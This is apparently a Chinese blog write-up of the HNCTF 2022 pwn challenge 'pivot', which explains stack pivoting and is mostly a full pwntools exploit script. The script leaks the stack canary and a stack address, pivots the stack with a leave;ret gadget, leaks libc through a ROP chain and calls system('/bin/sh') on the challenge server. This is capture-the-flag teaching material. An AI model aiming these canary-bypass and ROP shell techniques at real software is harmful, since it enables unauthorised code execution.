【pwn】[HNCTF 2022 WEEK2]pivot --栈迁移
栈迁移的利用的过程不是很复杂,原理方面是比较麻烦:
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这里简述一下栈迁移的利用过程:
我们先来看一下这道题的程序保护情况:
开了canary,接着看代码逻辑
这里的printf("Hello, %s\n", buf);可以发现是可以泄露栈上的内容然后进入vuln函数看看
这里buf偏移是0x110,经典栈迁移了,先放上exp:
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",28065)
#io=process("./pwn")
elf=ELF("./pwn")
#libc=ELF("./libc-2.27.so")
main_addr=0x4010D0
leave_ret=0x401213
rdi=0x401343
payload=b'a'*0x29
io.recvuntil(b"Name:\n")
io.send(payload)
io.recvuntil(b'a'*0x29)
canary=u64(io.recv(7).rjust(8,b'\x00'))
print(hex(canary))
get_stack_addr=b'a'*0x108+p64(canary)+b'a'*0x8+p64(main_addr)#在vuln函数这边控制回到main函数
io.send(get_stack_addr)
payload4=b'a'*0x48
io.recvuntil(b"Name:\n")
io.send(payload4)
io.recvuntil(b'a'*0x48)
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
new_addr=stack_addr-0x268 #通过泄露的栈地址定位到我们输入字符串的位置
#开始构造新栈,泄露libc
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.symbols['vuln']
payload2=b'a'*0x8
payload2+=p64(rdi)
payload2+=p64(puts_got)
payload2+=p64(puts_plt)
payload2+=p64(vuln_addr)
payload2=payload2.ljust(0x108,b'\x00')
payload2+=p64(canary)
payload2+=p64(new_addr)
payload2+=p64(leave_ret)
io.send(payload2)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #获取到puts函数的地址
print("puts_addr-->"+hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
base=puts_addr-libc.dump("puts")
system_addr=base+libc.dump("system")
#base=puts_addr-libc.sys['puts']
#system_addr=base+libc.sys['system']
payload3=b'a'*0x8
payload3+=p64(rdi)
payload3+=p64(new_addr+0x20)
payload3+=p64(system_addr)
payload3+=b"/bin/sh\x00"
payload3=payload3.ljust(0x108,b'\x00')
payload3+=p64(canary)
payload3+=p64(new_addr)
payload3+=p64(leave_ret)
io.send(payload3)
io.interactive()
这里来介绍一下思路,首先栈迁移就是得有能泄露栈地址的地方,上面代码是符合泄露栈地址的条件,然后利用栈地址,可以控制到我们输入字符串的地方,这道题还要绕canary,这边不过多介绍,注意看栈迁移的部分
payload3=b'a'*0x8
payload3+=p64(rdi)
payload3+=p64(new_addr+0x20)
payload3+=p64(system_addr)
payload3+=b"/bin/sh\x00"
payload3=payload3.ljust(0x108,b'\x00')
payload3+=p64(canary)
payload3+=p64(new_addr)
payload3+=p64(leave_ret),
题目泄露的栈地址的位置,其实是需要gdb动态调试一下才能确定的
![](https://img2023.cnblogs.com/blog/3310839/202311/3310839-20231116102854926-2006637887.png)
可以发现,main函数的rbp下面是存有栈地址,通过printf函数打印出来,就可以获得栈地址,然后上面脚本一般都是这样,执行后代码会从p64(rdi)开始执行,上面的b'a'*8只是为了满足条件,脚本的最后一行基本意思固定的,找到leave_ret的gadget就行